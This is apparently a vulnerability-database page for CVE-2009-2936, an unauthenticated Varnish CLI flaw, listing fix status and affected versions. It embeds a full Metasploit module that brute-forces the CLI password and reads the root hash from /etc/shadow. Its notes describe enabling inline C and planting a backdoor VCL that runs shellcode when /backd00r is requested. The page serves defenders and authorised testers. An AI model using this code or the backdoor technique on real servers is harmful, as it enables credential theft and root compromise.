CVE-2009-2936

high
Published 2010-04-05 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.5

Description

The Command Line Interface (aka Server CLI or administration interface) in the master process in the reverse proxy server in Varnish before 2.1.0 does not require authentication for commands received through a TCP port, which allows remote attackers to (1) execute arbitrary code via a vcl.inline directive that provides a VCL configuration file containing inline C code; (2) change the ownership of the master process via param.set, stop, and start directives; (3) read the initial line of an arbitrary file via a vcl.load directive; or (4) conduct cross-site request forgery (CSRF) attacks that leverage a victim's location on a trusted network and improper input validation of directives. NOTE: the vendor disputes this report, saying that it is "fundamentally misguided and pointless.

Predictions

Exploit likelihood
90%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-35581 remote linux ruby ยท 7 KB
Patrick Webster ยท 2014-12-19

Varnish Cache CLI Interface - Remote Code Execution (Metasploit)

ruby exploit Source: Exploit-DB
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'Varnish Cache CLI Interface Bruteforce Utility',
      'Description'    => 'This module attempts to login to the Varnish Cache (varnishd) CLI instance using a bruteforce
                           list of passwords. This module will also attempt to read the /etc/shadow root password hash
                           if a valid password is found. It is possible to execute code as root with a valid password,
                           however this is not yet implemented in this module.',
      'References'     =>
        [
          [ 'OSVDB', '67670' ],
          [ 'CVE', '2009-2936' ],
          # General
          [ 'URL', 'https://www.varnish-cache.org/trac/wiki/CLI' ],
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'Author'         => [ 'patrick' ],
      'License'        => MSF_LICENSE
    )

    register_options(
      [
        Opt::RPORT(6082),
        OptPath.new('PASS_FILE',  [ false, "File containing passwords, one per line",
          File.join(Msf::Config.data_directory, "wordlists", "unix_passwords.txt") ]),
      ], self.class)

    deregister_options('USERNAME', 'USER_FILE', 'USERPASS_FILE', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_USERS')
  end

  def run_host(ip)
        connect
        res = sock.get_once(-1,3) # detect banner
          if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth
            vprint_status("Varnishd CLI detected - authentication required.")
            each_user_pass { |user, pass|
            sock.put("auth #{Rex::Text.rand_text_alphanumeric(3)}\n") # Cause a login fail.
            res = sock.get_once(-1,3) # grab challenge
            if (res =~ /107 \d+\s\s\s\s\s\s\n(\w+)\n\nAuthentication required./) # 107 auth
              challenge = $1
              secret = pass + "\n" # newline is needed
              response = challenge + "\n" + secret + challenge + "\n"
              response = Digest::SHA256.hexdigest(response)
              sock.put("auth #{response}\n")
              res = sock.get_once(-1,3)
              if (res =~ /107 \d+/) # 107 auth
                vprint_status("FAILED: #{secret}")
              elsif (res =~ /200 \d+/) # 200 ok
                print_good("GOOD: #{secret}")    
                
                report_auth_info(
                  :host => rhost,
                  :port => rport,
                  :sname => ('varnishd'),
                  :pass => pass,
                  :proof => "#{res}",
                  :source_type => "user_supplied",
                  :active => true
                )
                              
                sock.put("vcl.load #{Rex::Text.rand_text_alphanumeric(3)} /etc/shadow\n") # only returns 1 line of any target file.
                res = sock.get_once(-1,3)
                if (res =~ /root:([\D\S]+):/) # lazy.
                  if ($1[0] == "!")
                    vprint_error("/etc/shadow root uid is disabled.\n")
                  else
                    print_good("/etc/shadow root enabled:\nroot:#{$1}:")
                  end
                else
                  vprint_error("Unable to read /etc/shadow?:\n#{res}\n")
                end
                
                break
              else
                vprint_error("Unknown response:\n#{res}\n")
              end
            end
            }
          elsif (res =~ /Varnish Cache CLI 1.0/)
            print_good("Varnishd CLI does not require authentication!")
          else
            vprint_error("Unknown response:\n#{res}\n")
          end
        disconnect
    end
end

=begin

aushack notes:

- varnishd typically runs as root, forked as unpriv.
- 'param.show' lists configurable options.
- 'cli_timeout' is 60 seconds. param.set cli_timeout 99999 (?) if we want to inject payload into a client thread and avoid being killed.
- 'user' is nobody. param.set user root (may have to stop/start the child to activate)
- 'group' is nogroup. param.set group root (may have to stop/start the child to activate)
- (unless varnishd is launched with -r user,group (read-only) implemented in v4, which may make priv esc fail).
- vcc_unsafe_path is on. used to 'import ../../../../file' etc.
- vcc_allow_inline_c is off. param.set vcc_allow_inline_c on to enable code execution.
- code execution notes:

* quotes must be escaped \"
* \n is a newline
* C{ }C denotes raw C code.
* e.g. C{ unsigned char shellcode[] = \"\xcc\"; }C
* #import <stdio.h> etc must be "newline", i.e. C{ \n#include <stdlib.h>\n dosomething(); }C (without 2x \n, include statement will not interpret correctly).
* C{ asm(\"int3\"); }C can be used for inline assembly / shellcode.
* varnishd has it's own 'vcl' syntax. can't seem to inject C randomly - must fit VCL logic.
* example trigger for backdoor:

VCL server:
  vcl.inline foo "vcl 4.0;\nbackend b { . host = \"127.0.0.1\";  } sub vcl_recv { if (req.url ~ \"^/backd00r\") { C{ asm(\"int3\"); }C } } \n"
  vcl.use foo
  start

Attacker:
  telnet target 80
  GET /backd00r HTTP/1.1
  Host: 127.0.0.1

(... wait for child to execute debug trap INT3 / shellcode).

CLI protocol notes from website:

The CLI protocol used on the management/telnet interface is a strict request/response protocol, there are no unsolicited transmissions from the responding end.

Requests are whitespace separated tokens terminated by a newline (NL) character.

Tokens can be quoted with "..." and common backslash escape forms are accepted: (\n), (\r), (\t), (
), (\"), (\%03o) and (\x%02x)

The response consists of a header which can be read as fixed format or ASCII text:

    1-3      %03d      Response code
    4        ' '       Space
    5-12     %8d       Length of body
    13       \n        NL character.
Followed by the number of bytes announced by the header.

The Responsecode is numeric shorthand for the nature of the reaction, with the following values currently defined in include/cli.h:

enum cli_status_e {
        CLIS_SYNTAX     = 100,
        CLIS_UNKNOWN    = 101,
        CLIS_UNIMPL     = 102,
        CLIS_TOOFEW     = 104,
        CLIS_TOOMANY    = 105,
        CLIS_PARAM      = 106,
        CLIS_OK         = 200,
        CLIS_CANT       = 300,
        CLIS_COMMS      = 400,
        CLIS_CLOSE      = 500
};
=end

Metasploit modules

Varnish Cache CLI File Read
Source fetch failed: fetch_error โ€” view the original via the link above.
Varnish Cache CLI Login Utility
Source code queued for fetch โ€” refresh in a moment.

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.1.0-2
sid Fixed 2.1.0-2
forky Fixed 2.1.0-2
bullseye Fixed 2.1.0-2
bookworm Fixed 2.1.0-2

Application impact

VendorProductVersionsFixed
varnish.projects.linprovarnish0.9
varnish.projects.linprovarnish0.9.1
varnish.projects.linprovarnish1.0
varnish.projects.linprovarnish1.0.1
varnish.projects.linprovarnish1.0.2
varnish.projects.linprovarnish1.0.3
varnish.projects.linprovarnish1.0.4
varnish.projects.linprovarnish1.1
varnish.projects.linprovarnish1.1.1
varnish.projects.linprovarnish1.1.2
varnish.projects.linprovarnish2.0
varnish.projects.linprovarnish2.0.1
varnish.projects.linprovarnish2.0.2
varnish.projects.linprovarnish2.0.3
varnish.projects.linprovarnish2.0.4
varnish.projects.linprovarnish2.0.5
varnish.projects.linprovarnish2.0.6

References

CWEs

CWE-287

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.